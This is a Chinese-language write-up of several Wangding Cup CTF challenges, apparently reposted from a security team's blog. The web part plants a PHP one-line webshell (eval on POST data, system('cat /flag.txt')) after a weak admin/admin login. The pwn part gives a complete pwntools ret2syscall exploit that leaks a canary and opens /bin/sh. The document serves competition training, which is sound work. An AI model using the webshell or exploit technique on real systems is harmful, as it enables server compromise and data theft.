网鼎杯-玄武组

admin 2024年11月6日14:08:09评论7 views字数 2481阅读8分16秒阅读模式
网鼎杯-玄武组

    刚结束了2024年网鼎杯白虎组,让我们一起回顾一下那些引人入胜的题目以及巧妙的解题思路吧!在今天的分享中,我们将深入探讨部分misc题目及其解答方法,希望能够为大家提供一些启发和帮助。

WEB-01
PART.01

查看cms的nday

网鼎杯-玄武组

发现了一个反序列化漏洞,但尝试后无果 而且版本不对

但在这个poc里发现了login.php

网鼎杯-玄武组

我们看源码 发现存在login.php

我们尝试登录

发现为弱口令admin/admin

我们看一遍后台的功能点,寻找利用点

我们找到了文件上传的点

网鼎杯-玄武组

后台我们在基本信息的接口api的微信公众号发现可以上传图片 其他的绕过我们也试了 但后缀改不了 只能上传图片

我们上传图片马

网鼎杯-玄武组

上传路径在上传完成后给出 重命名后保存在/uploads内的日期文件夹中

接下来我们需要找一个文件包含的点来包含我们的图片马 来getshell

我们继续寻找功能点

然后我们在模板发现可以更改模板的源码 

我们改pc的index.htm的源码 下面加一个包含

包含我们写的图片马

网鼎杯-玄武组

但我发现不知道为啥马子我连不上 无法解析,但phpinfo()可以解析

网鼎杯-玄武组

连不上

网鼎杯-玄武组

GIF89a

<?php @eval($_POST['hack']);phpinfo();?>

既然马子连不上 那我就尝试在马子里一句话一句话执行

GIF89a

<?php @eval($_POST['hack']);phpinfo();system('ls /')?>

我们看到了根目录下的文件

网鼎杯-玄武组

读取flag.txt

GIF89a

<?php @eval($_POST['hack']);phpinfo();system('cat /flag.txt')?>

网鼎杯-玄武组

wdflag{fmzys9hqdn6zg1psq2e8675dbzy8twvb}

WEB-03
PART.02

发现robots有个wbStego4.bmp文件

网鼎杯-玄武组

下载下来根据提示wbStego4 

用wbStego4解密

网鼎杯-玄武组

拿到密钥

网鼎杯-玄武组

再修改一下格式

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAHqSISYfkwuFeX20KTtyDhpG/nmyMK5MrmjKILUbLxpEtgw+4i0sIR4sWtNpGSVAMLZ4YO8EY6p7FBw0z4u0ALo2qC8I763lfKlNXH1WHWexRHd72MEpxpOzt79ukabEr7OWpRdDEISj3MyEalVNYGTKMt/TQWR/dnFd+TsDB2aRDBQQq9VfQhZ9Z864huQ4Du8PKg42plzfRPJsEhe4JpE0GW5QRap9ZNHM/4fSSHJlwqbBqGdeIjw+U7zY/RokxK979+f7SN6qMc9FzAUTnbwFGLpZe4ohz4pPJNrmRKfERTSKDoXw1krdDZuEZzCgiprpR8WqLvGoDXhYstcrgWU= your_email@example.com

导入西二风的脚本一把梭哈,n分解用yafu

网鼎杯-玄武组

然后导出私钥

网鼎杯-玄武组

连接ssh

网鼎杯-玄武组

reverse-02
PART.04
网鼎杯-玄武组

jadx打开

网鼎杯-玄武组

AEX+BASE64 

KEY=Y4SuperSecretKey

网鼎杯-玄武组

网鼎杯-玄武组

拿到大厨,抄一下

网鼎杯-玄武组

PWN-02
 秋日研学游 
PART.05

拿到附件发现是静态编译且没有符号表,自己 一下,结合汇编摸清楚程序逻辑, patch 程序会先从 401931 一半的地方跳转到 4019E9 ,可以泄露出 canary

网鼎杯-玄武组

紧接着的 设置 read rbp-0x28 处的值,使其跳转到 0x4019d2

网鼎杯-玄武组

最后进入 backdoor 

backdoor cpy 里有 ,能够造成溢出,而且是静态编译,收集信息构造 ret2syscall

网鼎杯-玄武组

EXP如下:

from pwn import * # r = process('./pwn') r = remote('',) context.log_level = 'debug' r.recvuntil(b": ")  # 确保接收的内容是字节canary = int(r.recvline(), 16) r.recvline() # 修改这行,确保发送的是 bytes r.send(b"a" * 0x28 + p32(1) + b"a" * 0x10) r.recvline() r.send(b"0")  # 发送的内容是字节r.recvline() r.send(b"b" * 0x70)  # 发送的内容是字节r.recvline() #gdb.attach(r,"b *0x40213f") # ROP gadgets 地址pop_rdi = 0x40213f pop_rsi = 0x40a1ae pop_rdx_rbx = 0x485feb pop_rax = 0x450277 syscall = 0x41AC26 # 构建 payload,确保所有字符串都是 bytes payload = b""  # 创建一个字节串payload += b"a" * 0x64 + p32(0x11111111) + b"a" * 0x90 + p64(canary) + b"a" * 0x8 + p64(canary) + b"a" * 0x8 payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(0x4c5000) + p64(pop_rdx_rbx) + p64(0x8) + p64(0) + p64(pop_rax) + p64(0) + p64(syscall) payload += p64(pop_rdi) + p64(0x4c5000) + p64(pop_rsi) + p64(0) + p64(pop_rdx_rbx) + p64(0) + p64(0) + p64(pop_rax) + p64(0x3b) + p64(syscall) # 发送 payload r.send(payload)sleep(0.5) # 发送命令以获得 shell r.send(b"/bin/shx00")  # 确保发送的内容是字节r.interactive()
网鼎杯-玄武组
END

欢迎师傅们加入我们:
ZeroPointZero安全团队纳新群1:553624735

有兴趣的师傅欢迎一起来讨论!团队纳新简历投递邮箱:[email protected]

原文始发于微信公众号(ZeroPointZero安全团队):网鼎杯-玄武组

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月6日14:08:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   网鼎杯-玄武组https://cn-sec.com/archives/3363471.html

发表评论

匿名网友 填写信息